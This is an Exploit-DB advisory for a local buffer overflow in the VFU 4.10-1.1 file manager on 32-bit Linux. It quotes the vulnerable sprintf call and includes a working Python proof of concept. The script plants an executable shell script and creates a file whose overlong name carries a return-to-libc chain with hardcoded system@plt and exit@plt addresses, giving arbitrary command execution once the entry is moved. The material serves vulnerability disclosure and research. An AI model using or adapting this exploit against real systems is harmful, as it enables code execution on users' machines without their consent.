VFU 4.10-1.1 - Move Entry Buffer Overflow

2015-02-25T00:00:00
ID EDB-ID:36229
Type exploitdb
Reporter Bas van den Berg
Modified 2015-02-25T00:00:00

Description

VFU 4.10-1.1 - Move Entry Buffer Overflow. Local exploit for linux platform

                                        
                                            # Exploit Title: VFU Move Entry Buffer Overflow
# Date: 2015-02-25
# Exploit Author: Bas van den Berg -- @barrebas
# Vendor Homepage: http://cade.datamax.bg/
# Software Link: http://cade.datamax.bg/vfu/#download
# Version: 4.10-1.1
# Tested on: GNU/Linux Kali 1.09 32-bit & Crunchbang 11 Waldorf (based on Debian Wheezy), kernel 3.2.0-4

# VFU 4.10 (probably up to 4.14) contains a buffer overflow when a user
# moves a file entry around with a large filename. To trigger this 
# vulnerability, extensive user interaction is required.
# Steps to reproduce the bug: create a file with a large (>115 
# characters), run VFU and select 'A' and then 'V' to move the large 
# file entry around. Upon confirming the entry move, VFU crashes due to 
# a buffer overflow in this function:

'''
void vfu_file_entry_move()
{
  char t[128];
  sprintf( t, "MOVE/REORDER File entry: %s", files_list[FLI]->name() );
  say1( t );
  say2( "Use Up/Down Arrows to reorder, ESC,ENTER when done." );
'''

# This overflow allows execution of arbitrary commands with the 
# privilege of the current user. The attached PoC demonstrates this. It 
# drops two files: the large filename and a shellscript that allows 
# arbitrary command execution. Usage: $ python vfu-move-entry-poc.py


import struct
import os

def p(x):
	return struct.pack('<L', x & 0xffffffff)

with open('./vstring.h', 'w') as f:
	f.write('#!/bin/sh\ntouch pwned')
	f.close()
os.chmod('./vstring.h', 0755)

payload = "A"*115
payload += p(0x8049ca0) # system@plt
payload += p(0x804a260) # exit@plt
payload += p(0x8088e44) # -> ./vstring.h

open(payload, 'w').close()